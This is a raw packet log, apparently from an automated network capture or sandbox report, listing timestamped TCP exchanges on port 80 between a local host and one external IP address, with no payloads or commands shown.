Dec 20, 2024 02:11:30.843307018 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.843358994 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.843400955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.843446970 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.843997955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.844223976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.844278097 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.844727993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.844775915 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.844861984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.844907045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.845428944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.845468044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.845510960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.845552921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.846092939 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.846137047 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.846211910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.846254110 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.846772909 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.846815109 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.846925974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.846967936 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.847531080 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.847572088 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.847606897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.847650051 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.848202944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.848284006 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.848332882 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.848885059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.848932028 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.849000931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.849050045 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.849565029 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.849617004 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.849679947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.849720955 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.850271940 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.850313902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.850378036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.850420952 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.850965977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.851006985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.851073027 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.851114988 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.851666927 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.851843119 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.851919889 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.851962090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.852336884 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.852377892 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.852447987 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.852487087 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.853033066 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.853075981 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.853185892 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.853228092 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.853848934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.853861094 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.853898048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.854485035 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.854614019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.854662895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.855283976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.855295897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.855334044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.855849028 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.855933905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.855981112 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.856578112 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.856621027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.856683969 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.856729031 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.857260942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.857306004 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.857371092 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.857410908 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.858000994 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.858041048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.858074903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.858118057 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.858656883 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.858700037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.858778954 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.858819008 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.859363079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.859405994 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.859533072 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.859576941 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.860049009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.860088110 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.860147953 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.860827923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.860865116 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.860872984 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.860907078 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.861460924 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.861506939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.861664057 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.861705065 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.862163067 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.862205982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.862227917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.862268925 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.862847090 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.862894058 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.862967014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.863003016 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.863548994 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.863594055 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.863708973 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.863749981 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.864278078 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.864320993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.864362001 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.864944935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.864990950 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.865080118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.865127087 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.865669966 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.865712881 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.865807056 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.865849972 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.866388083 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.866447926 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.866494894 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.866538048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.866997957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.867038965 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.867079973 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.867178917 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.867738962 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.867748976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.867805004 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.868407965 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.868504047 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.868554115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.869138956 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.869183064 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.869347095 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.869391918 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.869829893 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.869874954 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.869889021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.869927883 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.870520115 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.870563030 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.870644093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.870687008 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.871175051 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.871220112 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.871309042 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.871351004 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.871896982 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.871938944 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.871978998 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.872612000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.872665882 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.872695923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.872733116 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.873323917 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.873366117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.873369932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.873411894 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.873976946 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.874027014 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.874161005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.874205112 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.874821901 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.874833107 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.874969006 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.875380039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.875504971 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.875552893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.876112938 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.876162052 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.876193047 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.876241922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.876780033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.876893997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.876944065 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.877461910 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.877509117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.877573967 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.877620935 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.878200054 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.878248930 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.878283978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.878330946 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.878962994 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.879010916 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.879045963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.879093885 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:30.879494905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:30.879542112 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.035326004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.035337925 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.035355091 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.035517931 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.035517931 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.035561085 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.036037922 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.036087036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.036247015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.036735058 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.036784887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.036865950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.036909103 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.037458897 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.037507057 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.037545919 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.037585974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.038162947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.038218975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.038224936 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.038273096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.038836002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.038891077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.038909912 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.038973093 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.039557934 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.039599895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.039644003 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.039683104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.040286064 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.040297985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.040334940 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.040939093 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.040980101 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.040992975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.041033983 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.041630983 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.041666985 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.041862011 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.041902065 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.042279959 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.042325020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.042372942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.042418957 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.043112993 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.043123960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.043153048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.043174982 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.043730021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.043858051 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.043906927 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.044387102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.044512033 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.044564009 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.045084000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.045129061 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.045233011 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.045274019 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.045778990 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.045819044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.045898914 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.045948029 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.046492100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.046536922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.046580076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.046618938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.047209978 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.047252893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.047297955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.047337055 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.047873974 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.047920942 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.048036098 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.048676968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.048727036 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.048752069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.048789978 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.049329996 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.049374104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.049411058 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.049452066 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.050029039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.050074100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.050107956 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.050144911 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.050642014 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.050687075 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.050772905 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.050817966 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.051337004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.051384926 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.051470995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.051508904 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.052052975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.052134037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.052170038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.052813053 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.052859068 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.052892923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.052943945 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.053469896 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.053515911 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.053611994 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.053652048 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.054291010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.054301977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.054344893 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.054841042 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.054939032 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.054987907 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.055608988 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.055654049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.055691957 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.055730104 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.056226015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.056377888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.056430101 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.056955099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.056998968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.057063103 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.057102919 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.057642937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.057688951 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.057753086 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.057789087 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.058324099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.058361053 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.058432102 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.058465004 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.059036970 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.059073925 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.059134007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.059175014 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.059704065 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.059742928 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.059798956 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.059837103 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.060400963 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.060509920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.060550928 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.061106920 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.061146975 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:31.061224937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:31.061259031 CET	49875	80	192.168.2.5	31.41.244.11
